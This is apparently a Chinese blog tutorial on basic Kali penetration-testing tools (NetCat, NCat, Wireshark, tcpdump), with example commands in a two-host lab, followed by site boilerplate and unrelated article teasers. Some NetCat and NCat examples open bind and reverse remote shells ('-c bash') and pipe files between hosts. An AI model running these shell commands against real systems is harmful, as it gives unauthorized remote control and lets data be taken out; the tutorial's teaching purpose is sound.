《Kali渗透基础》02. 基本工具

news2024/11/25 0:25:47

kali渗透

  • 1:基本工具
    • 1.1:NetCat
      • 1.1.1:命令参数
      • 1.1.2:示例
    • 1.2:NCat
      • 1.2.1:命令参数
      • 1.2.2:示例
    • 1.3:WireShark
    • 1.4:TCPdump
      • 1.4.1:命令参数
      • 1.4.2:示例
  • 2:其他


这里只是起跑线而不是终点线。
本文以 kali-linux-2022.3-vmware-amd64 为例。

1:基本工具

1.1:NetCat

NetCat(又称为 " nc ")被广泛用于计算机网络之间的数据传输和网络调试。允许用户通过 TCP 或 UDP 协议发送和接收数据。

功能描述

  • 网络工具中的瑞士军刀
  • 侦听模式/传输模式
  • 传输文本信息
  • 传输文件/目录
  • 远程控制/木马
  • 流媒体服务器
  • 远程克隆硬盘

NC 缺乏加密和身份验证的能力

不同系统或平台的 NetCat 命令不尽相同。

1.1.1:命令参数

基本语法
nc [选项]

常用选项

参数说明
-h显示帮助信息和参数选项。nc -h
-l监听模式,等待连接请求到达指定的端口。nc -l 5555
详见示例01
-p 端口指定要使用的端口号。
-v显示详细的输出信息。nc -v baidu.com 80
-n使用 IP 地址时不进行 DNS 反向解析。nc -n 1.1.1.20 5555
-q 数字指定连接建立或数据传输时的等待时间(单位:秒)。详见示例02
-z端口扫描,默认使用 TCP 协议,无需建立实际连接。可指定端口范围。
-u指定使用 UDP 协议进行数据传输。
-c 命令或shell执行命令。可用于远程控制。详见示例06、07

常用组合

参数组合说明
-nv主要用于建立连接nc -nv 1.1.1.20 3333
-nvzTCP 端口扫描nc -nvz 1.1.1.20 1-65535
-nvzuUDP 端口扫描nc -nvzu 1.1.1.20 1-1024

1.1.2:示例

  • 示例01:⽂本信息传输。

操作

先在一台主机上开启端口监听,再使用另一台主机连接。即可通信。

一、ubuntu(1.1.1.20):
nc -l [-p] 3333
二、kali(1.1.1.10):
nc -nv 1.1.1.20 3333

结果

在这里插入图片描述

  • 示例02:监听信息并保存。

操作

一、kali(1.1.1.10):
nc -l [-p] 3333 > ps.txt
二、ubuntu(1.1.1.20):
ps aux | nc -nv 1.1.1.10 3333 -q 1

结果

在 ubuntu 执行 ps aux 的结果会被保存在 kali 上的 ps.txt 。且完成后一秒自动断开连接。

  • 示例03:主动传输文件。

操作

一、kali(1.1.1.10):
nc -l 3333 > 1.txt
二、ubuntu(1.1.1.20):
nc -nv 1.1.1.10 3333 < 2.txt -q 1

结果

ubuntu 上的 2.txt 文件传输到 kali 并被保存为 1.txt

  • 示例04:被动接收文件。

操作

一、kali(1.1.1.10):
nc -q 1 -l 3333 < 1.txt
二、ubuntu(1.1.1.20):
nc -nv 1.1.1.10 3333 > 2.txt

结果

kali 上的 1.txt 文件被 ubuntu 接收并被保存为 2.txt

  • 示例05:目录传输。

操作

一、ubuntu(1.1.1.20):
tar -cvf - /test/ | nc -lp 3333 -q 1
二、kali(1.1.1.10):
nc -nv 1.1.1.20 333 | tar -xvf -

结果

ubuntu 上的 /test/ 目录传输到 kali 上。

  • 示例06:远程控制(被动连接)。

操作

一、ubuntu(1.1.1.20):
nc -lp 3333 -c bash
二、kali(1.1.1.10):
nc 1.1.1.20 3333

结果

ubuntu 被 kali 连接,kali 可远程执行 linux 命令。

注:Windows 用户可以把 bash 改成 cmd 。

  • 示例07:远程控制(主动连接)。

操作

一、kali(1.1.1.10):
nc -lp 3333
二、ubuntu(1.1.1.20):
nc 1.1.1.10 3333 -c bash

结果

ubuntu 主动连接 kali,kali 可远程执行 linux 命令。

1.2:NCat

NCat是 Nmap 网络扫描器项目的一部分。可以视为 NetCat 工具的加强版。许多命令都与 NetCat 一致。

功能描述

  • 支持 SSL 和 TLS 加密协议。
  • 支持身份验证,包括基于用户名和密码的身份验证。

1.2.1:命令参数

基本语法
ncat [选项]

常用选项

NCat许多命令都与 NetCat 一致。这里只列出特别的参数。

参数说明
--allow访问控制。限制允许连接的 IP 地址范围。详见示例01
--ssl使用SSL/TLS加密连接。详见示例01

1.2.2:示例

  • 示例01

操作

一、ubuntu(1.1.1.20):
ncat -c bash --allow 1.1.1.10 -vnl 3333 --ssl
二、kali(1.1.1.10):
ncat -nv 1.1.1.20 3333 --ssl

结果

ubuntu 允许来自 IP 地址为 1.1.1.10 的主机连接。连接建立后执行 Bash 命令,并使用 SSL/TLS 加密进行连接。

1.3:WireShark

WireShark 是一款开源抓包软件,常用来检测网络问题、攻击溯源、或者分析底层通信机制(抓包嗅探、协议分析。)

基本使用方法

这里只介绍大致过程。具体细节网络教学很多。

  • 启动
  • 选择抓包网卡
  • 实时抓包
  • 保存或分析捕获文件
  • 首选项配置(添加展示信息,调整喜好的展示格式等)

筛选器
用于过滤数据包。

  • 抓包筛选器
  • 显示筛选器

常见协议包
需要熟悉常见协议数据包的分层结构。

数据流
有时一个请求涉及多个包,一个一个查看很麻烦。这时追踪数据流可以方便查看涉及到的数据包信息。(追踪流)

信息统计
WireShark 提供了一些信息统计功能。

  • 节点数
  • 协议分布
  • 包大小分布
  • 会话连接
  • 解码方式
  • 专家系统

1.4:TCPdump

TCPdump 是一款命令行抓包分析工具。Linux、Unix 系统默认安装。

1.4.1:命令参数

基本语法
tcpdump [选项]

常用选项

参数说明
-i 网络接口指定要监听的网络接口。tcpdump -i eth0
详见示例01
-s 数字指定捕获数据包的最大长度(单位:字节。0 表示抓取所有)。默认为 64。tcpdump -s 100
详见示例02
-w 文件将捕获的数据包写入文件。tcpdump -w test.pcap
详见示例02
-r 文件从文件中读取数据包进行分析。tcpdump -r test.pcap
详见示例05、06、07
-A以 ASCII 形式显示数据包内容。
-X以十六进制和 ASCII 形式显示数据包内容。详见示例06
-v[v][v]显示详细信息,“ v ” 越多越详细。
-n显示 IP 地址和端口号,不进行 DNS 解析。详见示例05、06
src host ip地址过滤条件。指定源主机。详见示例04、05
dst host ip地址过滤条件。指定目的主机。
port 端口过滤条件。指定端口。详见示例06、07
tcp过滤条件。指定 TCP 协议。tcpdump tcp
详见示例07
udp过滤条件。指定 UDP 协议。

过滤条件可用 “ or ” 和 “ and ” 连接。

除了以上基础筛选过滤条件之外,TCPdump 还提供了高级筛选

在这里插入图片描述

示例:

在这里插入图片描述

tcpdump -A -n 'tcp[13] = 24' -r http.cap

1.4.2:示例

  • 示例01:开启抓包

操作

tcpdump -i eth0

结果

在这里插入图片描述

  • 示例02:抓取数据包所有内容,并保存在 test.pcap 文件

tcpdump -i eth0 -s 0 -w test.pcap

  • 示例03:查看抓包文件摘要信息

tcpdump -r test.pcap

  • 示例04:抓取指定源地址的数据包

tcpdump src host 192.168.0.1 or src host 192.168.0.2

  • 示例05:查看抓包文件中指定源地址的信息。

tcpdump -n src host 145.254.160.237 -r test.pcap

  • 示例06:查看抓包文件中指定端口的信息,并以十六进制和 ASCII 形式显示数据包内容。

tcpdump -nX port 53 -r test.pcap

  • 示例07:查看抓包文件中指定 tcp 端口的信息。

tcpdump tcp port 53 -r test.pcap

2:其他

渗透测试中有时需要团队资源共享,因此需要一些软件来协助团队合作。
包括但不限于以下两点:

  • 数据文件共享

可以选择合适的软件以便于交换已获得的信息。

  • 重要数据加密

选择合适的软件对重要的数据文件(如获得的漏洞信息等)加密存储。以免泄露造成损失。


落花有意随流水,流水无心恋落花。

——《警世通言》(明)冯梦龙

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/552515.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言——函数

目录 1. 函数基本用法1.1 定义和三要素1.2 函数的声明和定义1.2.1 函数声明1.2.2 函数定义格式 1.3 函数调用1.4 函数传参1.4.1 值传递1.4.2 地址传递1.4.3 数组传递 1.5 函数和栈区 2. 开辟堆空间2.1 堆的概念2.2.malloc函数2.2.1 定义2.2.2 用法 2.3 free()函数定义注意&…

随机数发生器设计(一)

1 随机数发生器设计概述 密码行业的随机数发生器总体框架标准为GM/T 0103。随机数发生器可以分为硬件随机数发生器和软件随机数发生器。 硬件随机数发生器一般以组成部件的形式集成在安全芯片的内部&#xff0c;或者随机数发生器本身就是安全芯片。考虑到随机数发生器是密码产…

ChatGPT 能自己跑代码了!

公众号关注 “GitHubDaily” 设为 “星标”&#xff0c;每天带你逛 GitHub&#xff01; time leap, sci-fi, photorealistic, --niji 5 --ar 3:2 --s 1000 自 ChatGPT 发布以来&#xff0c;各行各业对其能力探索的举措一直没有停止。 很多大厂纷纷跟进&#xff0c;竞相推出自研…

Springboot +spring security,登录用户数据获取

一.简介 前面章节学习了登录表单的配置并且对源码进行了简单的分析&#xff0c;现在有个问题了&#xff0c;既然用户登录了&#xff0c;那么如何在接口中获取用户信息呢。这篇文章就来看下这个问题&#xff0c;代码中获取登录用户信息。 二.创建项目 如何创建一个SpringSecu…

笔记:BLIP源码之(1)数据集预处理【仅考虑Image-Text Retrieval on COCO】

BLIP&#xff1a;Bootstrapping Language-Image Pre-training for Unified Vision-Language Understanding and Generat 论文的两个贡献如下&#xff1a; 从模型的角度&#xff1a;提出了 Encoder-Decoder (MED) 的多模态混合 An MED can operate either as a unimodal encode…

Js常识三

文章目录 作用域GCclosure变量和函数提升函数参数 作用域 GC Js Gc 算法 引用计数&#xff08;已淘汰&#xff09;标记清除 closure 一句话&#xff1a;内层函数 外层函数的变量 闭包作用&#xff1a;私有化数据&#xff0c;or 私有化状态 变量和函数提升 Js 祖传var变…

C语言结构体初级

目录 一、为什么要用结构体 二、使用结构体的具体形式 1.结构体类型的声明&#xff08;main函数外部&#xff09; 2.结构体变量的定义&#xff08;在main函数内或者外&#xff09; 3.结构体变量的初始化 4.结构体成员的访问 5.结构体的传参 跑了这么久&#xff0c;再坚…

分布式软件架构——单体架构

序言 当一项大工程需要大量人员共同开发&#xff0c;并保证它们分布在网络中的大量服务器节点能够同时运行&#xff0c;那么随着项目规模的增大、运行时间变长&#xff0c;它必然会受到墨菲定律的无情打击。 Murphy’s Law&#xff1a;Anything that can go wrong will go wro…

Qt文件系统源码分析—第四篇QLockFile

深度 本文主要分析Windows平台&#xff0c;Mac、Linux暂不涉及 本文只分析到Win32 API/Windows Com组件/STL库函数层次&#xff0c;再下层代码不做探究 本文QT版本5.15.2 类关系图 QTemporaryFile继承QFile QFile、QSaveFile继承QFileDevice QFileDevice继承QIODevice Q…

法规标准-ISO 17361标准解读

ISO 17361是做什么的&#xff1f; ISO 17361全称为智能交通系统-车道偏离警告系统性能要求和测试程序&#xff0c;其中主要描述了LDWS系统的功能要求及测试要求 系统功能 车道偏离警告系统的功能元件应符合图中的要求&#xff0c;抑制请求、车速检测、驾驶员偏好和其他附加功…

[CTF/网络安全] 攻防世界 simple_js 解题详析

[CTF/网络安全] 攻防世界 simple_js 解题详析 代码分析代码漏洞姿势String[fromCharCode]总结 题目描述&#xff1a;小宁发现了一个网页&#xff0c;但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} ) 页面源代码&#xff1a; 代码分析 function dechiffre(pass_enc){…

StarRocks 集群模式搭建

一、StarRocks 集群模型搭建 上篇文章对 StarRocks 进行了简单的介绍及使用 Docker 进行了快速体验&#xff0c;本篇文章进行StarRocks 集群模型的搭建&#xff0c;下面是上篇文章的地址&#xff1a; StarRocks 极速全场景 MPP 数据库介绍及使用 部署规划 host主机名角色192.…

求解包含约束的最优化问题:拉格朗日乘子法和KKT条件

文章目录 无约束等式约束不等式约束KKT条件 无约束 之前梯度类算法中介绍的最速下降法、牛顿法和拟牛顿法&#xff0c;可以直接使用的条件之一为&#xff1a;决策变量都是无约束的。 用数学语言描述的话&#xff0c;可以表达为&#xff1a;决策变量为 x ( x 1 , x 2 , ⋅ ⋅…

LeetCode104. 二叉树的最大深度(递归非递归)

写在前面&#xff1a; 题目链接&#xff1a;LeetCode104.二叉树的最大深度 编程语言&#xff1a;C 题目难度&#xff1a;简单 一、题目描述 给定一个二叉树&#xff0c;找出其最大深度。 二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。 说明: 叶子节点是指没有子…

You Only Look Once:Unified,Real-Time Object Detection总结笔记

一、论文思想 1.将一个图像分成S*S个网格&#xff08;grid cell&#xff09;&#xff0c;如果某个object的中心落在这个网格中&#xff0c;则这个网络就负责预测这个object。 2.每个网格要预测B个bounding box&#xff0c;每个bounding box除了要预测位置之外&#xff0c;还要…

微服务技术(SpringCloud、Docker、RabbitMQ)

目录 一、微服务技术简介 二、服务拆分及远程调用 1.Eureka注册中心 2.Nacos注册中心 3.Nacos配置管理 4.http客户端Feign 三、统一网关Gateway 四、Docker 五、异步通信技术 六、ElasticSearch 一、微服务技术简介 微服务是分布式架构&#xff08;分布式&#xff…

Lesson14---卷积神经网络

14.1 深度学习基础 14.1.1 深度学习的基本思想 特征工程&#xff1a;尽可能选择和构建出好的特征&#xff0c;使得机器学习算法能够达到最佳性能。是机器学习的上限&#xff0c;而算法就是逼近这个上限传统的机器学习特证工程 依靠人工方式提取和设计特征需要大量的专业知识…

低代码系统前端实践之vue-element-admin运行demo

文章目录 1、简介2、实践功能3、实践过程3.0 下载运行demo3.1.1 解决执行npm install或出现以下报错(删掉组件tui-editor相关即可)3.1.2 解决执行npm run dev或出现no module body-parser(安装body-parser即可)3.1.3 解决执行npm run dev或出现error:0308010C:digital envelope…

RK3568平台开发系列讲解(驱动基础篇)RK平台I2C的使用

🚀返回专栏总目录 文章目录 一、I2C 使用情况二、定义和注册 I2C 设备三、定义和注册 I2C 驱动3.1 I2C 驱动定义3.2 I2C 驱动注册3.3 通过 I2C 收发数据沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将对RK I2C 的使用进行学习。 配置 I2C 可分为两大步骤: 定…

【Linux C】GCC编译 GDB调试 从入门到放弃 (gcc调试选项详解、gdb调试、条件断点、远程调试、脚本化调试)

阅读本文可能需要一些基础&#xff0c;比如&#xff1a;C语言基础、Linux基础操作、vim、防火墙等。篇幅有限&#xff0c;本文讲的“比较浅显”。 通过本文你将学会&#xff1a; gcc编译gdb调试 少年你渴望力量吗&#x1f447;&#x1f447;&#x1f447; 一、使用GCC编译C程序…